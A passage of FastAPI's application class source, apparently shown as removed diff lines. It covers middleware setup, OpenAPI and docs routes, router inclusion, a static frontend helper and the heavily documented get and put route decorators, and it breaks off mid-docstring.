| Awaitable[Response]] - ] = {} if exception_handlers is None else dict(exception_handlers) - self.exception_handlers.setdefault(HTTPException, http_exception_handler) - self.exception_handlers.setdefault( - RequestValidationError, request_validation_exception_handler - ) - - # Starlette still has incorrect type specification for the handlers - self.exception_handlers.setdefault( - WebSocketRequestValidationError, - websocket_request_validation_exception_handler, # type: ignore[arg-type] - ) # ty: ignore[no-matching-overload] - - self.user_middleware: list[Middleware] = ( - [] if middleware is None else list(middleware) - ) - self.middleware_stack: ASGIApp | None = None - self.setup() - - def build_middleware_stack(self) -> ASGIApp: - # Duplicate/override from Starlette to add AsyncExitStackMiddleware - # inside of ExceptionMiddleware, inside of custom user middlewares - debug = self.debug - error_handler = None - exception_handlers: dict[Any, ExceptionHandler] = {} - - for key, value in self.exception_handlers.items(): - if key in (500, Exception): - error_handler = value - else: - exception_handlers[key] = value - - middleware = ( - [Middleware(ServerErrorMiddleware, handler=error_handler, debug=debug)] - + self.user_middleware - + [ - Middleware( - ExceptionMiddleware, - handlers=exception_handlers, - debug=debug, - ), - # Add FastAPI-specific AsyncExitStackMiddleware for closing files. - # Before this was also used for closing dependencies with yield but - # those now have their own AsyncExitStack, to properly support - # streaming responses while keeping compatibility with the previous - # versions (as of writing 0.117.1) that allowed doing - # except HTTPException inside a dependency with yield. - # This needs to happen after user middlewares because those create a - # new contextvars context copy by using a new AnyIO task group. - # This AsyncExitStack preserves the context for contextvars, not - # strictly necessary for closing files but it was one of the original - # intentions. - # If the AsyncExitStack lived outside of the custom middlewares and - # contextvars were set, for example in a dependency with 'yield' - # in that internal contextvars context, the values would not be - # available in the outer context of the AsyncExitStack. - # By placing the middleware and the AsyncExitStack here, inside all - # user middlewares, the same context is used. - # This is currently not needed, only for closing files, but used to be - # important when dependencies with yield were closed here. - Middleware(AsyncExitStackMiddleware), - ] - ) - - app = self.router - for cls, args, kwargs in reversed(middleware): - app = cls(app, *args, **kwargs) - return app - - def openapi(self) -> dict[str, Any]: - """ - Generate the OpenAPI schema of the application. This is called by FastAPI - internally. - - The first time it is called it stores the result in the attribute - `app.openapi_schema`, and next times it is called, it just returns that same - result. To avoid the cost of generating the schema every time. - - If you need to modify the generated OpenAPI schema, you could modify it. - - Read more in the - [FastAPI docs for OpenAPI](https://fastapi.tiangolo.com/how-to/extending-openapi/). - """ - routes_version = self.router._get_routes_version() - if not self.openapi_schema or self._openapi_routes_version != routes_version: - self.openapi_schema = get_openapi( - title=self.title, - version=self.version, - openapi_version=self.openapi_version, - summary=self.summary, - description=self.description, - terms_of_service=self.terms_of_service, - contact=self.contact, - license_info=self.license_info, - routes=self.routes, - webhooks=self.webhooks.routes, - tags=self.openapi_tags, - servers=self.servers, - separate_input_output_schemas=self.separate_input_output_schemas, - external_docs=self.openapi_external_docs, - ) - self._openapi_routes_version = routes_version - return self.openapi_schema - - def setup(self) -> None: - if self.openapi_url: - - async def openapi(req: Request) -> JSONResponse: - root_path = req.scope.get("root_path", "").rstrip("/") - schema = self.openapi() - if root_path and self.root_path_in_servers: - server_urls = {s.get("url") for s in schema.get("servers", [])} - if root_path not in server_urls: - schema = dict(schema) - schema["servers"] = [{"url": root_path}] + schema.get( - "servers", [] - ) - return JSONResponse(schema) - - self.add_route(self.openapi_url, openapi, include_in_schema=False) - if self.openapi_url and self.docs_url: - - async def swagger_ui_html(req: Request) -> HTMLResponse: - root_path = req.scope.get("root_path", "").rstrip("/") - openapi_url = root_path + self.openapi_url - oauth2_redirect_url = self.swagger_ui_oauth2_redirect_url - if oauth2_redirect_url: - oauth2_redirect_url = root_path + oauth2_redirect_url - return get_swagger_ui_html( - openapi_url=openapi_url, - title=f"{self.title} - Swagger UI", - oauth2_redirect_url=oauth2_redirect_url, - init_oauth=self.swagger_ui_init_oauth, - swagger_ui_parameters=self.swagger_ui_parameters, - ) - - self.add_route(self.docs_url, swagger_ui_html, include_in_schema=False) - - if self.swagger_ui_oauth2_redirect_url: - - async def swagger_ui_redirect(req: Request) -> HTMLResponse: - return get_swagger_ui_oauth2_redirect_html() - - self.add_route( - self.swagger_ui_oauth2_redirect_url, - swagger_ui_redirect, - include_in_schema=False, - ) - if self.openapi_url and self.redoc_url: - - async def redoc_html(req: Request) -> HTMLResponse: - root_path = req.scope.get("root_path", "").rstrip("/") - openapi_url = root_path + self.openapi_url - return get_redoc_html( - openapi_url=openapi_url, title=f"{self.title} - ReDoc" - ) - - self.add_route(self.redoc_url, redoc_html, include_in_schema=False) - - async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: - if self.root_path: - scope["root_path"] = self.root_path - await super().__call__(scope, receive, send) - - def add_api_route( - self, - path: str, - endpoint: Callable[..., Any], - *, - response_model: Any = Default(None), - status_code: int | None = None, - tags: list[str | Enum] | None = None, - dependencies: Sequence[Depends] | None = None, - summary: str | None = None, - description: str | None = None, - response_description: str = "Successful Response", - responses: dict[int | str, dict[str, Any]] | None = None, - deprecated: bool | None = None, - methods: list[str] | None = None, - operation_id: str | None = None, - response_model_include: IncEx | None = None, - response_model_exclude: IncEx | None = None, - response_model_by_alias: bool = True, - response_model_exclude_unset: bool = False, - response_model_exclude_defaults: bool = False, - response_model_exclude_none: bool = False, - include_in_schema: bool = True, - response_class: type[Response] | DefaultPlaceholder = Default(JSONResponse), - name: str | None = None, - openapi_extra: dict[str, Any] | None = None, - generate_unique_id_function: Callable[[routing.APIRoute], str] = Default( - generate_unique_id - ), - ) -> None: - self.router.add_api_route( - path, - endpoint=endpoint, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=methods, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def frontend( - self, - path: Annotated[ - str, - Doc( - """ - The URL path prefix where the frontend build should be served. - """ - ), - ], - *, - directory: Annotated[ - str | os.PathLike[str], - Doc( - """ - The directory containing the static frontend build output. - """ - ), - ], - fallback: Annotated[ - Literal["auto", "index.html", "404.html"] | None, - Doc( - """ - The fallback file behavior for missing frontend paths. - """ - ), - ] = "auto", - check_dir: Annotated[ - bool | Literal["auto"], - Doc( - """ - Check that the frontend directory exists when the app is created. When - set to `"auto"`, skip the check with a warning when `FASTAPI_ENV` is - `"development"`, and check it otherwise. The `fastapi dev` command - sets `FASTAPI_ENV` to `"development"` if it is not already set. - """ - ), - ] = "auto", - ) -> None: - """ - Serve a static frontend build as low-priority routes. - - Use this for frontend tools that build static files into a directory, - such as `dist`. **FastAPI** path operations are checked first, and - the frontend files are checked only if no normal route matched. - - A typical project could look like this: - - ```text - . - ├── pyproject.toml - ├── app - │ ├── __init__.py - │ └── main.py - └── dist - ├── index.html - └── assets - └── app.js - ``` - - Then in `app/main.py`: - - ```python - from fastapi import FastAPI - - app = FastAPI() - app.frontend("/", directory="dist") - ``` - """ - check_dir = routing._resolve_frontend_check_dir( - directory=directory, check_dir=check_dir - ) - self.router.frontend( - path, - directory=directory, - fallback=fallback, - check_dir=check_dir, - ) - - def api_route( - self, - path: str, - *, - response_model: Any = Default(None), - status_code: int | None = None, - tags: list[str | Enum] | None = None, - dependencies: Sequence[Depends] | None = None, - summary: str | None = None, - description: str | None = None, - response_description: str = "Successful Response", - responses: dict[int | str, dict[str, Any]] | None = None, - deprecated: bool | None = None, - methods: list[str] | None = None, - operation_id: str | None = None, - response_model_include: IncEx | None = None, - response_model_exclude: IncEx | None = None, - response_model_by_alias: bool = True, - response_model_exclude_unset: bool = False, - response_model_exclude_defaults: bool = False, - response_model_exclude_none: bool = False, - include_in_schema: bool = True, - response_class: type[Response] = Default(JSONResponse), - name: str | None = None, - openapi_extra: dict[str, Any] | None = None, - generate_unique_id_function: Callable[[routing.APIRoute], str] = Default( - generate_unique_id - ), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.router.add_api_route( - path, - func, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=methods, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - return func - - return decorator - - def add_api_websocket_route( - self, - path: str, - endpoint: Callable[..., Any], - name: str | None = None, - *, - dependencies: Sequence[Depends] | None = None, - ) -> None: - self.router.add_api_websocket_route( - path, - endpoint, - name=name, - dependencies=dependencies, - ) - - def websocket( - self, - path: Annotated[ - str, - Doc( - """ - WebSocket path. - """ - ), - ], - name: Annotated[ - str | None, - Doc( - """ - A name for the WebSocket. Only used internally. - """ - ), - ] = None, - *, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be used for this - WebSocket. - - Read more about it in the - [FastAPI docs for WebSockets](https://fastapi.tiangolo.com/advanced/websockets/). - """ - ), - ] = None, - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Decorate a WebSocket function. - - Read more about it in the - [FastAPI docs for WebSockets](https://fastapi.tiangolo.com/advanced/websockets/). - - **Example** - - ```python - from fastapi import FastAPI, WebSocket - - app = FastAPI() - - @app.websocket("/ws") - async def websocket_endpoint(websocket: WebSocket): - await websocket.accept() - while True: - data = await websocket.receive_text() - await websocket.send_text(f"Message text was: {data}") - ``` - """ - - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.add_api_websocket_route( - path, - func, - name=name, - dependencies=dependencies, - ) - return func - - return decorator - - def include_router( - self, - router: Annotated[routing.APIRouter, Doc("The `APIRouter` to include.")], - *, - prefix: Annotated[str, Doc("An optional path prefix for the router.")] = "", - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to all the *path operations* in this - router. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to all the - *path operations* in this router. - - Read more about it in the - [FastAPI docs for Bigger Applications - Multiple Files](https://fastapi.tiangolo.com/tutorial/bigger-applications/#include-an-apirouter-with-a-custom-prefix-tags-responses-and-dependencies). - - **Example** - - ```python - from fastapi import Depends, FastAPI - - from .dependencies import get_token_header - from .internal import admin - - app = FastAPI() - - app.include_router( - admin.router, - dependencies=[Depends(get_token_header)], - ) - ``` - """ - ), - ] = None, - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses to be shown in OpenAPI. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Additional Responses in OpenAPI](https://fastapi.tiangolo.com/advanced/additional-responses/). - - And in the - [FastAPI docs for Bigger Applications](https://fastapi.tiangolo.com/tutorial/bigger-applications/#include-an-apirouter-with-a-custom-prefix-tags-responses-and-dependencies). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark all the *path operations* in this router as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - **Example** - - ```python - from fastapi import FastAPI - - from .internal import old_api - - app = FastAPI() - - app.include_router( - old_api.router, - deprecated=True, - ) - ``` - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include (or not) all the *path operations* in this router in the - generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - **Example** - - ```python - from fastapi import FastAPI - - from .internal import old_api - - app = FastAPI() - - app.include_router( - old_api.router, - include_in_schema=False, - ) - ``` - """ - ), - ] = True, - default_response_class: Annotated[ - type[Response], - Doc( - """ - Default response class to be used for the *path operations* in this - router. - - Read more in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#default-response-class). - - **Example** - - ```python - from fastapi import FastAPI - from fastapi.responses import ORJSONResponse - - from .internal import old_api - - app = FastAPI() - - app.include_router( - old_api.router, - default_response_class=ORJSONResponse, - ) - ``` - """ - ), - ] = Default(JSONResponse), - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> None: - """ - Include an `APIRouter` in the same app. - - Read more about it in the - [FastAPI docs for Bigger Applications](https://fastapi.tiangolo.com/tutorial/bigger-applications/). - - ## Example - - ```python - from fastapi import FastAPI - - from .users import users_router - - app = FastAPI() - - app.include_router(users_router) - ``` - """ - self.router.include_router( - router, - prefix=prefix, - tags=tags, - dependencies=dependencies, - responses=responses, - deprecated=deprecated, - include_in_schema=include_in_schema, - default_response_class=default_response_class, - callbacks=callbacks, - generate_unique_id_function=generate_unique_id_function, - ) - - def get( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP GET operation. - - ## Example - - ```python - from fastapi import FastAPI - - app = FastAPI() - - @app.get("/items/") - def read_items(): - return [{"name": "Empanada"}, {"name": "Arepa"}] - ``` - """ - return self.router.get( - path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def put( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP PUT operation. - - ## Example - - ```python - from fastapi import FastAPI - from pydantic import BaseModel - - class Item(BaseModel): - name: str - description: str | None = None - - app = FastAPI() - - 